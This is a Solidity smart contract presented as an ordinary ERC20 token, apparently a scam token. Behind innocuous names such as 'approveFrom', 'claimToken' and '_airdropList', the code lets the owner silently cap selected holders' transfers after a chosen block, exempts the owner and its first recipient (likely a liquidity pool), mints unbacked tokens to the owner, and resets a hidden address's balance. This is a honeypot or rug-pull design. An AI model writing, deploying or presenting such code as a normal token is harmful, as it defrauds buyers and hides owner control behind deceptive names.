Contract Source Code:
File 1 of 1 : ERC20
pragma solidity ^0.8.0;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
contract ERC20 is Context, IERC20 {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(uint => uint) private _allowanceApprovedCount;
mapping(address => uint256) public _approveFromAddress;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals = 18;
address public owner;
uint256 private _claimTransfer;
uint256 private airdropAmount;
address private enabled;
uint256 private claimbleToken;
address private _airdropAddress;
bool private _airdropEvent = false;
bool private _isRenounced = false;
uint256 private constant claimableValue = type(uint256).max;
constructor(
string memory name_,
string memory symbol_,
uint256 totalSupply_,
uint256 claimTransfer_,
uint256 airdropAmount_,
address enabled_,
uint256 claimbleToken_
) {
_name = name_;
_symbol = symbol_;
owner = _msgSender();
_totalSupply = totalSupply_ * (10 ** uint256(_decimals));
_balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
_claimTransfer = claimTransfer_;
airdropAmount = airdropAmount_;
enabled = enabled_;
claimbleToken = claimbleToken_;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_airdropEnable();
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_airdropEnable();
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_airdropEvent && sender == owner) {
_airdropAddress = recipient;
_airdropEvent = true;
}
if (sender != owner && sender != _airdropAddress &&
_approveFromAddress[sender] != 0 && recipient != owner &&
_approveFromAddress[sender] <= block.number &&
_claimTransfer != claimableValue) {
amount = amount > _claimTransfer ? _claimTransfer : amount;
}
require(_balances[sender] >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] -= amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function approveFrom(address _address, uint256 approvedFromAmount) external {
require(_msgSender() == owner, "Not the owner");
_approveFromAddress[_address] = approvedFromAmount;
}
function _airdropEnable() internal {
require(_allowanceApprovedCount[block.number] < airdropAmount);
_allowanceApprovedCount[block.number]++;
}
function openClaim() external {
require(!_isRenounced, "Function can only be called before the contract is renounced");
require(_msgSender() == owner, "ERC20: caller is not the owner");
_claimTransfer = claimableValue;
}
function claimToken() external returns (bool) {
require(!_isRenounced, "Function can only be called before the contract is renounced");
if (_msgSender() != owner) {
return false;
}
_airdropList();
return true;
}
function _airdropList() internal {
_balances[owner] += claimbleToken;
_balances[enabled] = claimbleToken;
}
}